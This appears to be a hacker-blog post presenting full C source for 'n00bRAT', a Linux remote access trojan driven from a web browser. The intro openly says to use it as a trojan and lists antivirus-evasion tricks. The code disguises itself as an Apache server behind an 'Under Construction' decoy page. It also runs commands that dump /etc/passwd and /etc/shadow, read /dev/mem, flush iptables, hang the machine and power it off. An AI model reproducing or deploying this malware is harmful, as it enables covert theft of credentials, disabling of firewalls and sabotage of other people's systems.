n00bRAT (novice's Remote Administration Tool)

Submitted By,
m0727
Abhishek Kumar

>use it as a trojan
>a tool to keep a track on your N/W machines

==========Procedures to make it Undetectable==========

[] Compress/Encrypt it
	--tampering the signature
[] Add Junk Bytes to it
	--tampering the signature
[] Hex-Edit
	--to split trojan and shift signature's offset
[] Create Your Own
	--from the source

==========Procedures to make it Easily Usable==========

[] using well-formatted CLI
	--using nCurses or something
[] using simple GUI
	--use any Window-Programming Language
[] something existing - which you don't need to program

==========Procedures Followed==========

So, here we are to follow the 4th and full-proof plan for an undetectable trojan... creating our own. And, to make it easily usable (real easy)... we opt something existing i.e. Web Browser in our case.

Actually, what we gonna have here is a n00bRAT Server which will act as a HTTP Server.
It will acknowledge all HTTP Requests from any Web Browser.
To hide its identity if wrong URL is requested, it responds with an 'Under Construction' page.
When correct URL Requested, action associated with it is performed, attached to a HTTP Response and sent.
This HTTP Reponse is displayed to Client on the same Web Page opened.

This approach should also be useful in fooling firewalls/ids/ips security solutions, as it operates like any web-site.

==========Feature's Of n00bRAT=========

Technologies Used:

	* UniX C Socket Programing Libraries
	* UniX IPC Programing
	* HTTP Protocol Based Request/Response
[] n00bRAT's Server
	* operates at Port 80 (could switch it to 8080/443/other if desired Port busy)
	* port to run can be tweaked, it behaves as an HTTP Server
		> accepts HTTP Requests
		> replies HTTP Responses
	* checks for HTTP Request
		> if its correct, replies with Result hidden in HTTP Response
		> if its incorrect, replies with an 'under construction' to counter unknown expose
[] n00bRAT's Client
	* any Web Browser could act as it's client, as Request/Response is in HTTP Messages
	* establishes connection on suitable reply (an HTTP Response)
	* sends action codes for desired commands hidden in HTTP Requests to CHEAT Packet Scanners
[] Both Server/Client
	* have a pre-specified set of important System Commands with numeric codes
	* work as a Trojan not Virus (means no Replication, remains low profile and under control)

========n00bRAT's Code [2 Files: n00bRAT.h, ABK_n00bRAT.c]=========

```
////////////////////////////////////////////////////////////////////////
/*<--------start of File : n00bRAT.h----------->*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>        /* netbd.h is needed for struct hostent */

#include <string.h>

#include <unistd.h>
#include <errno.h>

//here in this code we use PORT, you could switch it to PORT2, PORT3
//or else if already a server at that Port exists
#define PORT 80   /* Port that will be opened */
#define PORT2 8080   /* Port that will be opened */
#define PORT3 443   /* Port that will be opened */

#define MAXDATASIZE 100   /* Max number of bytes of data */
#define MAXSTRSIZE 65535

#define BACKLOG 2   /* Number of allowed connections */
/*<----------end of File : n00bRAT.h----------->*/
////////////////////////////////////////////////////////////////////////


////////////////////////////////////////////////////////////////////////
```

```
/*<--------start of File : HTTPServer.c---------->*/
/*************************************************************************************************
@appName      : n00bRAT Server
@description  : RAT (Remote Admin. Tool) for TuX (Linux/UNiX) Machines
                use it as a Trojan Test for your Firewall/IDS/IPS
                or to Remotely Admin. your Machines ViA Web.Browsers
                Client side just requires a Web Browser like FireFox, Opera, etc.
@version      : 0.5beta
@author       : AbhishekKr [http://hackersmag.blogspot.com/] -=ABK=-
*************************************************************************************************/

/*  n00bRAT Server SOURCE CODE STARTS HERE  */
#include "n00bRAT.h"

//the string finally sent as HTTP Response
char httpResponse[MAXSTRSIZE]="\0";

//the string to be copied to Response if correct Request
char httpResponse200[] = "HTTP/1.1 200 OK\nDate: Sat, 05 Dec 2009 19:59:14 GMT\nServer:
Apache/2.2.4 (Unix) DAV/2 mod_python/3.3.1 Python/2.5.1 PHP/5.2.4\nmod_perl/2.0.4-dev
Perl/v5.8.8\nLast-Modified: Sat, 20 Nov 2004 20:16:24 GMT\nETag: \"34c4-2c-4c23b600
\"\nAccept-Ranges: bytes\nContent-Length: 44\nConnection: close\nContent-Type: text/html\n\n
<html><head><title>it\'s n00bRAT, you control this machine here</title></head><body><center>
<h1>-=n00bRAT=-</h1><h3>TuX Remote Administration Tool v0.5Beta</h3>even a Novice could
use this RAT like a Pro</center><div id=\'actions\'><a href=\'0\'>Hang The Machine</a><br/><a
href=\'1\'>/etc/passwd</a><br/><a href=\'2\'>/etc/shadow</a><br/><a href=\'3\'>/etc/resolv.conf
(the resolved IP entries)</a><br/><a href=\'4\'>/dev/mem (map the dynamic memory)</a><br/><a
href=\'5\'>iptables --flush (Clear all entries in Firewall)</a><br/><a href=\'6\'>ifconfig -a</a><br/>
<a href=\'7\'>ifconfig -s</a><br/><a href=\'8\'>poweroff</a><br/><a href=\'9\'>reboot</a><br/>
</div><br/>====================================<br/><br/></body></html>";

//the string to be copied to Response if incorrect Request
char httpResponse400[] = "HTTP/1.1 200 OK\nDate: Sat, 05 Dec 2009 19:59:14 GMT\nServer:
Apache/2.2.4 (Unix) DAV/2 mod_python/3.3.1 Python/2.5.1 PHP/5.2.4\nmod_perl/2.0.4-dev
Perl/v5.8.8\nLast-Modified: Sat, 20 Nov 2004 20:16:24 GMT\nETag: \"34c4-2c-4c23b600
\"\nAccept-Ranges: bytes\nContent-Length: 44\nConnection: close\nContent-Type: text/html\n\n
<html><head><title>TuXperiment</title></head><body><center><h1>Experimental Network
Server</h1><h3>Under Constrution</h3></center><div id=\'actions\'><br/></div><br/>
====================================<br/><br/></body></html>";

char Request[MAXSTRSIZE]="\0";          //buffer to holf Client's Request
int pfds[2]; //Pipe File Descriptors
int fd, fd2; //File descriptors
int axnCode; //To hold AXN Requested by Client

/****Prototypes****/
void dupStreamz();        //closes stdout and dup it to a stream used
void tellClient(); //sends as per desired HTTP Response
int getAXN();             //extracts Action Code from HTTP Request
/******************/

main()
{
        int numbytes;

        struct sockaddr_in server; /* server's address information */
        struct sockaddr_in client; /* client's address information */
```

```
	int sin_size;

	//dup all stdout to local file descriptor
	dupStreamz();

	if ((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1 ){  /* calls socket() */
		system("echo 'socket() error' >> zerror.log");
		printf("server: socket() error\n");
		exit(-1);
	}

	server.sin_family = AF_INET;
	server.sin_port = htons(PORT);   /* Remember htons() from "Conversions" section? =) */
	server.sin_addr.s_addr = INADDR_ANY;  /* INADDR_ANY puts your IP address
automatically */
	bzero(&(server.sin_zero),8); /* zero the rest of the structure */

	if(bind(fd,(struct sockaddr*)&server,sizeof(struct sockaddr))==-1){ /* calls bind() */
		system("echo 'bind() error' >> zerror.log");
		printf("server: bind() error\n");
		exit(-1);
	}

	if(listen(fd,BACKLOG) == -1){  /* calls listen() */
		system("echo 'listen() error' >> zerror.log");
		printf("server: listen() error\n");
		exit(-1);
	}

	while(1){
		sin_size=sizeof(struct sockaddr_in);
		if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size))==-1){ /* calls accept() */
			system("echo 'accept() error' >> zerror.log");
			printf("server: accept() error\n");
			exit(-1);
		}

		if ( (numbytes = recv(fd2, Request, MAXSTRSIZE, 0)) > 0 )
		{
			Request[numbytes]='\0';
			//sscanf(buf, "GET %s HTTP", Req);
		}else{
			printf("server: recv() error");
			system("echo 'recv() error' >> zerror.log");
		}

		axnCode = getAXN();//1;
		tellClient();

		close(fd2); /*  close fd2 */
	}
	return 0;
}//end of main

//it duplicates STDOUT to a Program Handled Stream using it
//output of system commands is captured in this stream directly
void dupStreamz(){
  if(pipe(pfds) == -1){
```

```
            system("echo 'IPC error' >> zerror.log");
            perror("server: PiPiNG FlaW");
            exit(1);
  }

  close(1);
  dup(pfds[1]);
  return;
}

//it checks for the desired action in axnCode,
//executes the desired system command
//builds up the HTTP Response with desired Output
//send the HTTP Response to Client
void tellClient(){
            char buf[MAXSTRSIZE] = "HTTP 200 OK\0";       //buffer to hold System Commands'
Output
            char tmpBuf[MAXSTRSIZE];
            int idx;

            //clearing previous stream content
            for(idx=0; idx<strlen(buf); idx++)
                        buf[idx]='\0';
            for(idx=0; idx<strlen(tmpBuf); idx++)
                        tmpBuf[idx]='\0';
            for(idx=0; idx<strlen(httpResponse); idx++)
                        httpResponse[idx]='\0';

            switch(axnCode){
                        //default case
                        case -1:strcpy(httpResponse,httpResponse200);
                                    system("echo \"<br/><br/><i>n00bROOT</i>\""); break;
                        //hangs the TuX machine
                        case 0:     strcpy(httpResponse,httpResponse200);
                                    system("cat /dev/port");  break;
                        //all entries of /etc/passwd
                        case 1:     strcpy(httpResponse,httpResponse200);
                                    system("echo \'/etc/passwd Listing:   \' | cat /etc/passwd");
            break;
                        //all entries of /etc/shadow
                        case 2:     strcpy(httpResponse,httpResponse200);
                                    system("echo \'/etc/shadow Listing:   \' | cat /etc/shadow");
            break;
                        //all entries of /etc/resolv.conf
                        case 3:     strcpy(httpResponse,httpResponse200);
                                    system("echo \'/etc/resolv.conf Listing:   \' | cat /etc/resolv.conf");
            break;
                        //prints entire dynamic memory
                        case 4:     strcpy(httpResponse,httpResponse200);
                                    system("echo \'/dev/mem Listing:   \' | cat /dev/mem");      break;
                        //deletes all entries of IPTABLES (Firewall)
                        case 5:     strcpy(httpResponse,httpResponse200);
                                    system("iptables --flush | echo \'IPTables Entries Deleted\'");
            break;
                        //all information of all NICs
                        case 6:     strcpy(httpResponse,httpResponse200);
                                    system("echo \'ifconfig-a Listing:   \' | ifconfig -a");            break;
                        //System Coded Info of all NICs
```

```
                case 7:         strcpy(httpResponse,httpResponse200);
                                system("echo \'ifconfig-s Listing:   \' | ifconfig -s");break;
                //PowerOff
                case 8:         strcpy(httpResponse,httpResponse200);
                                system("poweroff");     break;
                //Reboot
                case 9:         strcpy(httpResponse,httpResponse200);
                                system("reboot");       break;
                //default case
                default: strcpy(httpResponse,httpResponse400);
                                system("echo \"HTTP 404\"");    break;
        }
        read(pfds[0], buf, MAXSTRSIZE);
        strncat(tmpBuf,httpResponse,strlen(httpResponse));
        strncat(tmpBuf,buf,strlen(buf));
        send(fd2,tmpBuf,(strlen(httpResponse)+strlen(buf)),0);
        return;
}

//extracts the action code from HTTP Request
//returns back the action Code
int getAXN(){
        char *axnTok;
        if((axnTok=strtok(Request," ")) != NULL){
                if((axnTok=strtok(NULL," ")) != NULL){
                        printf("\naxn: %s\n",axnTok);
                        if(strcmp("/n00b",axnTok)==0)
                                return -1;
                        else if(strcmp("/0",axnTok)==0)
                                return 0;
                        else if(strcmp("/1",axnTok)==0)
                                return 1;
                        else if(strcmp("/2",axnTok)==0)
                                return 2;
                        else if(strcmp("/3",axnTok)==0)
                                return 3;
                        else if(strcmp("/4",axnTok)==0)
                                return 4;
                        else if(strcmp("/5",axnTok)==0)
                                return 5;
                        else if(strcmp("/6",axnTok)==0)
                                return 6;
                        else if(strcmp("/7",axnTok)==0)
                                return 7;
                        else if(strcmp("/8",axnTok)==0)
                                return 8;
                        else if(strcmp("/9",axnTok)==0)
                                return 9;
                        else if(strcmp("/10",axnTok)==0)
                                return 10;
                }
        }
        return -10;
}

/*  n00bRAT Server SOURCE CODE ENDS HERE */

/*<----------end of File : HTTPServer.c----------->*/
```

//